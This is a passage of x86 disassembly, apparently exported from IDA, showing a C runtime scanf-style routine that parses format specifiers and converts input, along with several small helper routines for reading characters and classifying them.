var_15 = byte ptr -15h var_14 = dword ptr -14h var_F = byte ptr -0Fh var_E = byte ptr -0Eh var_D = byte ptr -0Dh var_C = dword ptr -0Ch var_5 = byte ptr -5 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 1C4h and [ebp+var_15], 0 push ebx push esi mov esi, [ebp+arg_4] xor ebx, ebx push edi mov al, [esi] mov [ebp+var_4], ebx test al, al mov [ebp+var_34], ebx jz loc_420F16 mov edi, [ebp+arg_0] jmp short loc_42053F ; --------------------------------------------------------------------------- loc_42053A: ; CODE XREF: sub_420510+9CEj mov edi, [ebp+arg_0] xor ebx, ebx loc_42053F: ; CODE XREF: sub_420510+28j cmp dword_43C534, 1 jle short loc_420557 movzx eax, al push 8 push eax call sub_41F515 pop ecx pop ecx jmp short loc_420566 ; --------------------------------------------------------------------------- loc_420557: ; CODE XREF: sub_420510+36j mov ecx, off_43C328 movzx eax, al mov al, [ecx+eax*2] and eax, 8 loc_420566: ; CODE XREF: sub_420510+45j cmp eax, ebx jz short loc_4205A0 dec [ebp+var_4] push edi lea eax, [ebp+var_4] push edi push eax call sub_420F9D pop ecx pop ecx push eax call sub_420F86 movzx eax, byte ptr [esi+1] inc esi push eax call sub_41D670 add esp, 0Ch loc_42058E: ; CODE XREF: sub_420510+8Ej test eax, eax jz short loc_4205A0 movzx eax, byte ptr [esi+1] inc esi push eax call sub_41D670 pop ecx jmp short loc_42058E ; --------------------------------------------------------------------------- loc_4205A0: ; CODE XREF: sub_420510+58j ; sub_420510+80j cmp byte ptr [esi], 25h jnz loc_420E82 and [ebp+var_35], 0 and [ebp+var_18], 0 and [ebp+var_17], 0 and [ebp+var_E], 0 and [ebp+var_F], 0 and [ebp+var_16], 0 xor edi, edi and [ebp+var_5], 0 mov [ebp+var_1C], ebx mov [ebp+var_20], ebx mov [ebp+var_C], ebx mov [ebp+var_D], 1 mov [ebp+var_30], ebx loc_4205D7: ; CODE XREF: sub_420510+172j movzx ebx, byte ptr [esi+1] inc esi cmp dword_43C534, 1 jle short loc_4205F4 movzx eax, bl push 4 push eax call sub_41F515 pop ecx pop ecx jmp short loc_420603 ; --------------------------------------------------------------------------- loc_4205F4: ; CODE XREF: sub_420510+D3j mov ecx, off_43C328 movzx eax, bl mov al, [ecx+eax*2] and eax, 4 loc_420603: ; CODE XREF: sub_420510+E2j test eax, eax jz short loc_420619 mov eax, [ebp+var_C] inc [ebp+var_20] lea eax, [eax+eax*4] lea eax, [ebx+eax*2-30h] mov [ebp+var_C], eax jmp short loc_42067E ; --------------------------------------------------------------------------- loc_420619: ; CODE XREF: sub_420510+F5j cmp ebx, 4Eh jg short loc_42065C jz short loc_42067E cmp ebx, 2Ah jz short loc_420657 cmp ebx, 46h jz short loc_42067E cmp ebx, 49h jz short loc_420639 cmp ebx, 4Ch jnz short loc_42066B inc [ebp+var_D] jmp short loc_42067E ; --------------------------------------------------------------------------- loc_420639: ; CODE XREF: sub_420510+11Dj cmp byte ptr [esi+1], 36h jnz short loc_42066B cmp byte ptr [esi+2], 34h lea eax, [esi+2] jnz short loc_42066B inc [ebp+var_30] and [ebp+var_28], 0 and [ebp+var_24], 0 mov esi, eax jmp short loc_42067E ; --------------------------------------------------------------------------- loc_420657: ; CODE XREF: sub_420510+113j inc [ebp+var_E] jmp short loc_42067E ; --------------------------------------------------------------------------- loc_42065C: ; CODE XREF: sub_420510+10Cj cmp ebx, 68h jz short loc_420678 cmp ebx, 6Ch jz short loc_420670 cmp ebx, 77h jz short loc_420673 loc_42066B: ; CODE XREF: sub_420510+122j ; sub_420510+12Dj ... inc [ebp+var_F] jmp short loc_42067E ; --------------------------------------------------------------------------- loc_420670: ; CODE XREF: sub_420510+154j inc [ebp+var_D] loc_420673: ; CODE XREF: sub_420510+159j inc [ebp+var_5] jmp short loc_42067E ; --------------------------------------------------------------------------- loc_420678: ; CODE XREF: sub_420510+14Fj dec [ebp+var_D] dec [ebp+var_5] loc_42067E: ; CODE XREF: sub_420510+107j ; sub_420510+10Ej ... cmp [ebp+var_F], 0 jz loc_4205D7 cmp [ebp+var_E], 0 mov [ebp+arg_4], esi jnz short loc_4206A3 mov eax, [ebp+arg_8] mov [ebp+var_44], eax add eax, 4 mov [ebp+arg_8], eax mov eax, [eax-4] mov [ebp+var_2C], eax loc_4206A3: ; CODE XREF: sub_420510+17Fj and [ebp+var_F], 0 cmp [ebp+var_5], 0 jnz short loc_4206C1 mov al, [esi] cmp al, 53h jz short loc_4206BD cmp al, 43h jz short loc_4206BD or [ebp+var_5], 0FFh jmp short loc_4206C1 ; --------------------------------------------------------------------------- loc_4206BD: ; CODE XREF: sub_420510+1A1j ; sub_420510+1A5j mov [ebp+var_5], 1 loc_4206C1: ; CODE XREF: sub_420510+19Bj ; sub_420510+1ABj mov ebx, [ebp+arg_4] movzx esi, byte ptr [ebx] or esi, 20h cmp esi, 6Eh mov [ebp+var_3C], esi jz short loc_4206FA cmp esi, 63h jz short loc_4206EB cmp esi, 7Bh jz short loc_4206EB push [ebp+arg_0] lea eax, [ebp+var_4] push eax call sub_420F9D pop ecx jmp short loc_4206F6 ; --------------------------------------------------------------------------- loc_4206EB: ; CODE XREF: sub_420510+1C5j ; sub_420510+1CAj push [ebp+arg_0] inc [ebp+var_4] call sub_420F6C loc_4206F6: ; CODE XREF: sub_420510+1D9j pop ecx mov [ebp+var_14], eax loc_4206FA: ; CODE XREF: sub_420510+1C0j xor eax, eax cmp [ebp+var_20], eax jz short loc_42070A cmp [ebp+var_C], eax jz loc_420EE6 loc_42070A: ; CODE XREF: sub_420510+1EFj cmp esi, 6Fh jg loc_420971 jz loc_420C23 cmp esi, 63h jz loc_42094E cmp esi, 64h jz loc_420C23 jle loc_42099B cmp esi, 67h jle short loc_42076E cmp esi, 69h jz short loc_420756 cmp esi, 6Eh jnz loc_42099B cmp [ebp+var_E], 0 mov edi, [ebp+var_4] jz loc_420E51 jmp loc_420E77 ; --------------------------------------------------------------------------- loc_420756: ; CODE XREF: sub_420510+229j push 64h pop esi loc_420759: ; CODE XREF: sub_420510+480j mov ebx, [ebp+var_14] cmp ebx, 2Dh jnz loc_4209E3 mov [ebp+var_17], 1 jmp loc_4209E8 ; --------------------------------------------------------------------------- loc_42076E: ; CODE XREF: sub_420510+224j mov ebx, [ebp+var_14] lea esi, [ebp+var_1C4] cmp ebx, 2Dh jnz short loc_42078A mov [ebp+var_1C4], bl lea esi, [ebp+var_1C3] jmp short loc_42078F ; --------------------------------------------------------------------------- loc_42078A: ; CODE XREF: sub_420510+26Aj cmp ebx, 2Bh jnz short loc_4207A6 loc_42078F: ; CODE XREF: sub_420510+278j mov edi, [ebp+arg_0] dec [ebp+var_C] inc [ebp+var_4] push edi call sub_420F6C mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_4207A9 ; --------------------------------------------------------------------------- loc_4207A6: ; CODE XREF: sub_420510+27Dj mov edi, [ebp+arg_0] loc_4207A9: ; CODE XREF: sub_420510+294j cmp [ebp+var_20], 0 jz short loc_4207B8 cmp [ebp+var_C], 15Dh jle short loc_4207BF loc_4207B8: ; CODE XREF: sub_420510+29Dj mov [ebp+var_C], 15Dh loc_4207BF: ; CODE XREF: sub_420510+2A6j ; sub_420510+2F2j cmp dword_43C534, 1 jle short loc_4207D4 push 4 push ebx call sub_41F515 pop ecx pop ecx jmp short loc_4207DF ; --------------------------------------------------------------------------- loc_4207D4: ; CODE XREF: sub_420510+2B6j mov eax, off_43C328 mov al, [eax+ebx*2] and eax, 4 loc_4207DF: ; CODE XREF: sub_420510+2C2j test eax, eax jz short loc_420804 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_420804 inc [ebp+var_1C] mov [esi], bl inc esi inc [ebp+var_4] push edi call sub_420F6C mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_4207BF ; --------------------------------------------------------------------------- loc_420804: ; CODE XREF: sub_420510+2D1j ; sub_420510+2DBj cmp byte_43C538, bl jnz short loc_420872 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_420872 inc [ebp+var_4] push edi call sub_420F6C mov ebx, eax mov al, byte_43C538 mov [esi], al pop ecx mov [ebp+var_14], ebx inc esi loc_42082D: ; CODE XREF: sub_420510+360j cmp dword_43C534, 1 jle short loc_420842 push 4 push ebx call sub_41F515 pop ecx pop ecx jmp short loc_42084D ; --------------------------------------------------------------------------- loc_420842: ; CODE XREF: sub_420510+324j mov eax, off_43C328 mov al, [eax+ebx*2] and eax, 4 loc_42084D: ; CODE XREF: sub_420510+330j test eax, eax jz short loc_420872 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_420872 inc [ebp+var_1C] mov [esi], bl inc esi inc [ebp+var_4] push edi call sub_420F6C mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_42082D ; --------------------------------------------------------------------------- loc_420872: ; CODE XREF: sub_420510+2FAj ; sub_420510+304j ... cmp [ebp+var_1C], 0 jz loc_42090A cmp ebx, 65h jz short loc_42088A cmp ebx, 45h jnz loc_42090A loc_42088A: ; CODE XREF: sub_420510+36Fj mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_42090A mov byte ptr [esi], 65h inc esi inc [ebp+var_4] push edi call sub_420F6C mov ebx, eax pop ecx cmp ebx, 2Dh mov [ebp+var_14], ebx jnz short loc_4208B1 mov [esi], al inc esi jmp short loc_4208B6 ; --------------------------------------------------------------------------- loc_4208B1: ; CODE XREF: sub_420510+39Aj cmp ebx, 2Bh jnz short loc_4208D4 loc_4208B6: ; CODE XREF: sub_420510+39Fj mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jnz short loc_4208C5 and [ebp+var_C], eax jmp short loc_4208D4 ; --------------------------------------------------------------------------- loc_4208C5: ; CODE XREF: sub_420510+3AEj ; sub_420510+3F8j inc [ebp+var_4] push edi call sub_420F6C mov ebx, eax pop ecx mov [ebp+var_14], ebx loc_4208D4: ; CODE XREF: sub_420510+3A4j ; sub_420510+3B3j cmp dword_43C534, 1 jle short loc_4208E9 push 4 push ebx call sub_41F515 pop ecx pop ecx jmp short loc_4208F4 ; --------------------------------------------------------------------------- loc_4208E9: ; CODE XREF: sub_420510+3CBj mov eax, off_43C328 mov al, [eax+ebx*2] and eax, 4 loc_4208F4: ; CODE XREF: sub_420510+3D7j test eax, eax jz short loc_42090A mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_42090A inc [ebp+var_1C] mov [esi], bl inc esi jmp short loc_4208C5 ; --------------------------------------------------------------------------- loc_42090A: ; CODE XREF: sub_420510+366j ; sub_420510+374j ... dec [ebp+var_4] push edi push ebx call sub_420F86 cmp [ebp+var_1C], 0 pop ecx pop ecx jz loc_420F16 cmp [ebp+var_E], 0 jnz loc_420E77 inc [ebp+var_34] and byte ptr [esi], 0 lea eax, [ebp+var_1C4] push eax movsx eax, [ebp+var_D] push [ebp+var_2C] dec eax push eax call off_43C8D8 add esp, 0Ch jmp loc_420E77 ; --------------------------------------------------------------------------- loc_42094E: ; CODE XREF: sub_420510+20Cj cmp [ebp+var_20], eax jnz short loc_42095D inc [ebp+var_C] mov [ebp+var_20], 1 loc_42095D: ; CODE XREF: sub_420510+441j cmp [ebp+var_5], 0 jle short loc_420967 mov [ebp+var_16], 1 loc_420967: ; CODE XREF: sub_420510+451j mov edi, offset dword_43C7B0 jmp loc_420A7C ; --------------------------------------------------------------------------- loc_420971: ; CODE XREF: sub_420510+1FDj mov eax, esi sub eax, 70h jz loc_420C1F sub eax, 3 jz loc_420A6D dec eax dec eax jz loc_420C23 sub eax, 3 jz loc_420759 sub eax, 3 jz short loc_4209BF loc_42099B: ; CODE XREF: sub_420510+21Bj ; sub_420510+22Ej movzx eax, byte ptr [ebx] cmp eax, [ebp+var_14] jnz loc_420EE6 dec [ebp+var_15] cmp [ebp+var_E], 0 jnz loc_420E77 mov eax, [ebp+var_44] mov [ebp+arg_8], eax jmp loc_420E77 ; --------------------------------------------------------------------------- loc_4209BF: ; CODE XREF: sub_420510+489j cmp [ebp+var_5], 0 jle short loc_4209C9 mov [ebp+var_16], 1 loc_4209C9: ; CODE XREF: sub_420510+4B3j mov edi, [ebp+arg_4] inc edi mov [ebp+arg_4], edi cmp byte ptr [edi], 5Eh jnz loc_420A80 mov eax, edi lea edi, [eax+1] jmp loc_420A7C ; --------------------------------------------------------------------------- loc_4209E3: ; CODE XREF: sub_420510+24Fj cmp ebx, 2Bh jnz short loc_420A0A loc_4209E8: ; CODE XREF: sub_420510+259j dec [ebp+var_C] jnz short loc_4209F9 cmp [ebp+var_20], 0 jz short loc_4209F9 mov [ebp+var_F], 1 jmp short loc_420A0A ; --------------------------------------------------------------------------- loc_4209F9: ; CODE XREF: sub_420510+4DBj ; sub_420510+4E1j push [ebp+arg_0] inc [ebp+var_4] call sub_420F6C mov ebx, eax pop ecx mov [ebp+var_14], ebx loc_420A0A: ; CODE XREF: sub_420510+4D6j ; sub_420510+4E7j cmp ebx, 30h jnz loc_420C58 push [ebp+arg_0] inc [ebp+var_4] call sub_420F6C mov ebx, eax pop ecx cmp bl, 78h mov [ebp+var_14], ebx jz short loc_420A58 cmp bl, 58h jz short loc_420A58 cmp esi, 78h mov [ebp+var_1C], 1 jz short loc_420A42 push 6Fh loc_420A3C: ; CODE XREF: sub_420510+55Bj pop esi jmp loc_420C58 ; --------------------------------------------------------------------------- loc_420A42: ; CODE XREF: sub_420510+528j push [ebp+arg_0] dec [ebp+var_4] push ebx call sub_420F86 pop ecx pop ecx push 30h pop ebx jmp loc_420C55 ; --------------------------------------------------------------------------- loc_420A58: ; CODE XREF: sub_420510+517j ; sub_420510+51Cj push [ebp+arg_0] inc [ebp+var_4] call sub_420F6C pop ecx mov ebx, eax mov [ebp+var_14], ebx push 78h jmp short loc_420A3C ; --------------------------------------------------------------------------- loc_420A6D: ; CODE XREF: sub_420510+46Fj cmp [ebp+var_5], 0 jle short loc_420A77 mov [ebp+var_16], 1 loc_420A77: ; CODE XREF: sub_420510+561j mov edi, offset dword_43C7A8 loc_420A7C: ; CODE XREF: sub_420510+45Cj ; sub_420510+4CEj or [ebp+var_18], 0FFh loc_420A80: ; CODE XREF: sub_420510+4C3j push 20h lea eax, [ebp+var_64] push 0 push eax call sub_41B590 add esp, 0Ch cmp [ebp+var_3C], 7Bh jnz short loc_420AA4 cmp byte ptr [edi], 5Dh jnz short loc_420AA4 mov dl, 5Dh inc edi mov [ebp+var_59], 20h jmp short loc_420AA7 ; --------------------------------------------------------------------------- loc_420AA4: ; CODE XREF: sub_420510+584j ; sub_420510+589j mov dl, [ebp+var_35] loc_420AA7: ; CODE XREF: sub_420510+592j ; sub_420510+5E1j ... mov al, [edi] cmp al, 5Dh jz short loc_420B0C inc edi cmp al, 2Dh jnz short loc_420AF3 test dl, dl jz short loc_420AF3 mov cl, [edi] cmp cl, 5Dh jz short loc_420AF3 inc edi cmp dl, cl jnb short loc_420AC6 mov al, cl jmp short loc_420ACA ; --------------------------------------------------------------------------- loc_420AC6: ; CODE XREF: sub_420510+5B0j mov al, dl mov dl, cl loc_420ACA: ; CODE XREF: sub_420510+5B4j cmp dl, al ja short loc_420AEF movzx edx, dl movzx esi, al sub esi, edx inc esi loc_420AD7: ; CODE XREF: sub_420510+5DDj mov ecx, edx mov eax, edx and ecx, 7 mov bl, 1 shr eax, 3 shl bl, cl lea eax, [ebp+eax+var_64] or [eax], bl inc edx dec esi jnz short loc_420AD7 loc_420AEF: ; CODE XREF: sub_420510+5BCj xor dl, dl jmp short loc_420AA7 ; --------------------------------------------------------------------------- loc_420AF3: ; CODE XREF: sub_420510+5A0j ; sub_420510+5A4j ... movzx ecx, al mov dl, al mov eax, ecx and ecx, 7 mov bl, 1 shr eax, 3 shl bl, cl lea eax, [ebp+eax+var_64] or [eax], bl jmp short loc_420AA7 ; --------------------------------------------------------------------------- loc_420B0C: ; CODE XREF: sub_420510+59Bj cmp byte ptr [edi], 0 jz loc_420F16 cmp [ebp+var_3C], 7Bh jnz short loc_420B1E mov [ebp+arg_4], edi loc_420B1E: ; CODE XREF: sub_420510+609j mov edi, [ebp+arg_0] mov esi, [ebp+var_2C] dec [ebp+var_4] push edi push [ebp+var_14] mov [ebp+var_30], esi call sub_420F86 pop ecx pop ecx loc_420B35: ; CODE XREF: sub_420510+6BCj ; sub_420510+6C4j cmp [ebp+var_20], 0 jz short loc_420B49 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz loc_420BE5 loc_420B49: ; CODE XREF: sub_420510+629j inc [ebp+var_4] push edi call sub_420F6C cmp eax, 0FFFFFFFFh pop ecx mov [ebp+var_14], eax jz short loc_420BD9 mov ecx, eax push 1 and ecx, 7 pop edx movsx ebx, [ebp+var_18] shl edx, cl mov ecx, eax sar ecx, 3 movsx ecx, [ebp+ecx+var_64] xor ecx, ebx test edx, ecx jz short loc_420BD9 cmp [ebp+var_E], 0 jnz short loc_420BD1 cmp [ebp+var_16], 0 jz short loc_420BC6 mov ecx, off_43C328 mov [ebp+var_38], al movzx eax, al test byte ptr [ecx+eax*2+1], 80h jz short loc_420BA5 inc [ebp+var_4] push edi call sub_420F6C pop ecx mov [ebp+var_37], al loc_420BA5: ; CODE XREF: sub_420510+686j push dword_43C534 lea eax, [ebp+var_38] push eax lea eax, [ebp+var_3E] push eax call sub_423EC3 mov ax, [ebp+var_3E] add esp, 0Ch mov [esi], ax inc esi inc esi jmp short loc_420BC9 ; --------------------------------------------------------------------------- loc_420BC6: ; CODE XREF: sub_420510+673j mov [esi], al inc esi loc_420BC9: ; CODE XREF: sub_420510+6B4j mov [ebp+var_2C], esi jmp loc_420B35 ; --------------------------------------------------------------------------- loc_420BD1: ; CODE XREF: sub_420510+66Dj inc [ebp+var_30] jmp loc_420B35 ; --------------------------------------------------------------------------- loc_420BD9: ; CODE XREF: sub_420510+649j ; sub_420510+667j dec [ebp+var_4] push edi push eax call sub_420F86 pop ecx pop ecx loc_420BE5: ; CODE XREF: sub_420510+633j cmp [ebp+var_30], esi jz loc_420F16 cmp [ebp+var_E], 0 jnz loc_420E77 inc [ebp+var_34] cmp [ebp+var_3C], 63h jz loc_420E77 cmp [ebp+var_16], 0 mov eax, [ebp+var_2C] jz short loc_420C17 and word ptr [eax], 0 jmp loc_420E77 ; --------------------------------------------------------------------------- loc_420C17: ; CODE XREF: sub_420510+6FCj and byte ptr [eax], 0 jmp loc_420E77 ; --------------------------------------------------------------------------- loc_420C1F: ; CODE XREF: sub_420510+466j mov [ebp+var_D], 1 loc_420C23: ; CODE XREF: sub_420510+203j ; sub_420510+215j ... mov ebx, [ebp+var_14] cmp ebx, 2Dh jnz short loc_420C31 mov [ebp+var_17], 1 jmp short loc_420C36 ; --------------------------------------------------------------------------- loc_420C31: ; CODE XREF: sub_420510+719j cmp ebx, 2Bh jnz short loc_420C58 loc_420C36: ; CODE XREF: sub_420510+71Fj dec [ebp+var_C] jnz short loc_420C47 cmp [ebp+var_20], 0 jz short loc_420C47 mov [ebp+var_F], 1 jmp short loc_420C58 ; --------------------------------------------------------------------------- loc_420C47: ; CODE XREF: sub_420510+729j ; sub_420510+72Fj push [ebp+arg_0] inc [ebp+var_4] call sub_420F6C pop ecx mov ebx, eax loc_420C55: ; CODE XREF: sub_420510+543j mov [ebp+var_14], ebx loc_420C58: ; CODE XREF: sub_420510+4FDj ; sub_420510+52Dj ... cmp [ebp+var_30], 0 jz loc_420D71 cmp [ebp+var_F], 0 jnz loc_420D4F loc_420C6C: ; CODE XREF: sub_420510+82Cj cmp esi, 78h jnz short loc_420CC0 cmp dword_43C534, 1 jle short loc_420C89 push 80h push ebx call sub_41F515 pop ecx pop ecx jmp short loc_420C96 ; --------------------------------------------------------------------------- loc_420C89: ; CODE XREF: sub_420510+768j mov eax, off_43C328 mov al, [eax+ebx*2] and eax, 80h loc_420C96: ; CODE XREF: sub_420510+777j test eax, eax jz loc_420D41 mov eax, [ebp+var_28] mov edx, [ebp+var_24] push 4 pop ecx call sub_423F90 push ebx mov [ebp+var_28], eax mov [ebp+var_24], edx call sub_420F35 mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_420D13 ; --------------------------------------------------------------------------- loc_420CC0: ; CODE XREF: sub_420510+75Fj cmp dword_43C534, 1 jle short loc_420CD5 push 4 push ebx call sub_41F515 pop ecx pop ecx jmp short loc_420CE0 ; --------------------------------------------------------------------------- loc_420CD5: ; CODE XREF: sub_420510+7B7j mov eax, off_43C328 mov al, [eax+ebx*2] and eax, 4 loc_420CE0: ; CODE XREF: sub_420510+7C3j test eax, eax jz short loc_420D41 cmp esi, 6Fh jnz short loc_420CFE cmp ebx, 38h jge short loc_420D41 mov eax, [ebp+var_28] mov edx, [ebp+var_24] push 3 pop ecx call sub_423F90 jmp short loc_420D0D ; --------------------------------------------------------------------------- loc_420CFE: ; CODE XREF: sub_420510+7D7j push 0 push 0Ah push [ebp+var_24] push [ebp+var_28] call sub_41D280 loc_420D0D: ; CODE XREF: sub_420510+7ECj mov [ebp+var_28], eax mov [ebp+var_24], edx loc_420D13: ; CODE XREF: sub_420510+7AEj inc [ebp+var_1C] lea eax, [ebx-30h] cdq add [ebp+var_28], eax adc [ebp+var_24], edx cmp [ebp+var_20], 0 jz short loc_420D2B dec [ebp+var_C] jz short loc_420D4F loc_420D2B: ; CODE XREF: sub_420510+814j push [ebp+arg_0] inc [ebp+var_4] call sub_420F6C mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp loc_420C6C ; --------------------------------------------------------------------------- loc_420D41: ; CODE XREF: sub_420510+788j ; sub_420510+7D2j ... push [ebp+arg_0] dec [ebp+var_4] push ebx call sub_420F86 pop ecx pop ecx loc_420D4F: ; CODE XREF: sub_420510+756j ; sub_420510+819j cmp [ebp+var_17], 0 jz loc_420E35 mov eax, [ebp+var_28] mov ecx, [ebp+var_24] neg eax adc ecx, 0 mov [ebp+var_28], eax neg ecx mov [ebp+var_24], ecx jmp loc_420E35 ; --------------------------------------------------------------------------- loc_420D71: ; CODE XREF: sub_420510+74Cj cmp [ebp+var_F], 0 jnz loc_420E2D loc_420D7B: ; CODE XREF: sub_420510+90Aj cmp esi, 78h jz short loc_420DBF cmp esi, 70h jz short loc_420DBF cmp dword_43C534, 1 jle short loc_420D9A push 4 push ebx call sub_41F515 pop ecx pop ecx jmp short loc_420DA5 ; --------------------------------------------------------------------------- loc_420D9A: ; CODE XREF: sub_420510+87Cj mov eax, off_43C328 mov al, [eax+ebx*2] and eax, 4 loc_420DA5: ; CODE XREF: sub_420510+888j test eax, eax jz short loc_420E1F cmp esi, 6Fh jnz short loc_420DB8 cmp ebx, 38h jge short loc_420E1F shl edi, 3 jmp short loc_420DF7 ; --------------------------------------------------------------------------- loc_420DB8: ; CODE XREF: sub_420510+89Cj lea edi, [edi+edi*4] shl edi, 1 jmp short loc_420DF7 ; --------------------------------------------------------------------------- loc_420DBF: ; CODE XREF: sub_420510+86Ej ; sub_420510+873j cmp dword_43C534, 1 jle short loc_420DD7 push 80h push ebx call sub_41F515 pop ecx pop ecx jmp short loc_420DE4 ; --------------------------------------------------------------------------- loc_420DD7: ; CODE XREF: sub_420510+8B6j mov eax, off_43C328 mov al, [eax+ebx*2] and eax, 80h loc_420DE4: ; CODE XREF: sub_420510+8C5j test eax, eax jz short loc_420E1F push ebx shl edi, 4 call sub_420F35 mov ebx, eax pop ecx mov [ebp+var_14], ebx loc_420DF7: ; CODE XREF: sub_420510+8A6j ; sub_420510+8ADj inc [ebp+var_1C] cmp [ebp+var_20], 0 lea edi, [edi+ebx-30h] jz short loc_420E09 dec [ebp+var_C] jz short loc_420E2D loc_420E09: ; CODE XREF: sub_420510+8F2j push [ebp+arg_0] inc [ebp+var_4] call sub_420F6C mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp loc_420D7B ; --------------------------------------------------------------------------- loc_420E1F: ; CODE XREF: sub_420510+897j ; sub_420510+8A1j ... push [ebp+arg_0] dec [ebp+var_4] push ebx call sub_420F86 pop ecx pop ecx loc_420E2D: ; CODE XREF: sub_420510+865j ; sub_420510+8F7j cmp [ebp+var_17], 0 jz short loc_420E35 neg edi loc_420E35: ; CODE XREF: sub_420510+843j ; sub_420510+85Cj ... cmp esi, 46h jnz short loc_420E3E and [ebp+var_1C], 0 loc_420E3E: ; CODE XREF: sub_420510+928j cmp [ebp+var_1C], 0 jz loc_420F16 cmp [ebp+var_E], 0 jnz short loc_420E77 inc [ebp+var_34] loc_420E51: ; CODE XREF: sub_420510+23Bj cmp [ebp+var_30], 0 jz short loc_420E67 mov eax, [ebp+var_2C] mov ecx, [ebp+var_28] mov [eax], ecx mov ecx, [ebp+var_24] mov [eax+4], ecx jmp short loc_420E77 ; --------------------------------------------------------------------------- loc_420E67: ; CODE XREF: sub_420510+945j cmp [ebp+var_D], 0 mov eax, [ebp+var_2C] jz short loc_420E74 mov [eax], edi jmp short loc_420E77 ; --------------------------------------------------------------------------- loc_420E74: ; CODE XREF: sub_420510+95Ej mov [eax], di loc_420E77: ; CODE XREF: sub_420510+241j ; sub_420510+414j ... inc [ebp+var_15] inc [ebp+arg_4] mov esi, [ebp+arg_4] jmp short loc_420EC4 ; --------------------------------------------------------------------------- loc_420E82: ; CODE XREF: sub_420510+93j inc [ebp+var_4] push edi call sub_420F6C mov ebx, eax pop ecx movzx eax, byte ptr [esi] inc esi cmp eax, ebx mov [ebp+var_14], ebx mov [ebp+arg_4], esi jnz short loc_420EF1 mov ecx, off_43C328 movzx eax, bl test byte ptr [ecx+eax*2+1], 80h jz short loc_420EC4 inc [ebp+var_4] push edi call sub_420F6C pop ecx movzx ecx, byte ptr [esi] inc esi cmp ecx, eax mov [ebp+arg_4], esi jnz short loc_420EFF dec [ebp+var_4] loc_420EC4: ; CODE XREF: sub_420510+970j ; sub_420510+99Aj cmp [ebp+var_14], 0FFFFFFFFh jnz short loc_420EDA cmp byte ptr [esi], 25h jnz short loc_420F1C mov eax, [ebp+arg_4] cmp byte ptr [eax+1], 6Eh jnz short loc_420F1C mov esi, eax loc_420EDA: ; CODE XREF: sub_420510+9B8j mov al, [esi] test al, al jnz loc_42053A jmp short loc_420F16 ; --------------------------------------------------------------------------- loc_420EE6: ; CODE XREF: sub_420510+1F4j ; sub_420510+491j push [ebp+arg_0] dec [ebp+var_4] push [ebp+var_14] jmp short loc_420EF6 ; --------------------------------------------------------------------------- loc_420EF1: ; CODE XREF: sub_420510+98Aj dec [ebp+var_4] push edi push ebx loc_420EF6: ; CODE XREF: sub_420510+9DFj call sub_420F86 pop ecx pop ecx jmp short loc_420F16 ; --------------------------------------------------------------------------- loc_420EFF: ; CODE XREF: sub_420510+9AFj dec [ebp+var_4] push edi push eax call sub_420F86 dec [ebp+var_4] push edi push ebx call sub_420F86 add esp, 10h loc_420F16: ; CODE XREF: sub_420510+1Fj ; sub_420510+40Aj ... cmp [ebp+var_14], 0FFFFFFFFh jnz short loc_420F2D loc_420F1C: ; CODE XREF: sub_420510+9BDj ; sub_420510+9C6j mov eax, [ebp+var_34] test eax, eax jnz short loc_420F30 cmp [ebp+var_15], al jnz short loc_420F30 or eax, 0FFFFFFFFh jmp short loc_420F30 ; --------------------------------------------------------------------------- loc_420F2D: ; CODE XREF: sub_420510+A0Aj mov eax, [ebp+var_34] loc_420F30: ; CODE XREF: sub_420510+A11j ; sub_420510+A16j ... pop edi pop esi pop ebx leave retn sub_420510 endp ; =============== S U B R O U T I N E ======================================= sub_420F35 proc near ; CODE XREF: sub_420510+7A3p ; sub_420510+8DCp arg_0 = dword ptr 4 cmp dword_43C534, 1 push esi jle short loc_420F4F mov esi, [esp+4+arg_0] push 4 push esi call sub_41F515 pop ecx pop ecx jmp short loc_420F5E ; --------------------------------------------------------------------------- loc_420F4F: ; CODE XREF: sub_420F35+8j mov esi, [esp+4+arg_0] mov eax, off_43C328 mov al, [eax+esi*2] and eax, 4 loc_420F5E: ; CODE XREF: sub_420F35+18j test eax, eax jnz short loc_420F68 and esi, 0FFFFFFDFh sub esi, 7 loc_420F68: ; CODE XREF: sub_420F35+2Bj mov eax, esi pop esi retn sub_420F35 endp ; =============== S U B R O U T I N E ======================================= sub_420F6C proc near ; CODE XREF: sub_420510+1E1p ; sub_420510+289p ... arg_0 = dword ptr 4 mov edx, [esp+arg_0] dec dword ptr [edx+4] js short loc_420F7E mov ecx, [edx] movzx eax, byte ptr [ecx] inc ecx mov [edx], ecx retn ; --------------------------------------------------------------------------- loc_420F7E: ; CODE XREF: sub_420F6C+7j push edx call sub_41F043 pop ecx retn sub_420F6C endp ; =============== S U B R O U T I N E ======================================= sub_420F86 proc near ; CODE XREF: sub_420510+6Bp ; sub_420510+3FFp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_0], 0FFFFFFFFh jz short locret_420F9C push [esp+arg_4] push [esp+4+arg_0] call sub_423FAF pop ecx pop ecx locret_420F9C: ; CODE XREF: sub_420F86+5j retn sub_420F86 endp ; =============== S U B R O U T I N E ======================================= sub_420F9D proc near ; CODE XREF: sub_420510+63p ; sub_420510+1D3p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] push edi loc_420FA3: ; CODE XREF: sub_420F9D+1Dj push [esp+8+arg_4] inc dword ptr [esi] call sub_420F6C mov edi, eax push edi call sub_41D670 pop ecx test eax, eax pop ecx jnz short loc_420FA3 mov eax, edi pop edi pop esi retn sub_420F9D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __fastcall sub_420FC1(int,int,double,int) sub_420FC1 proc near ; CODE XREF: sub_41C679+51p ; 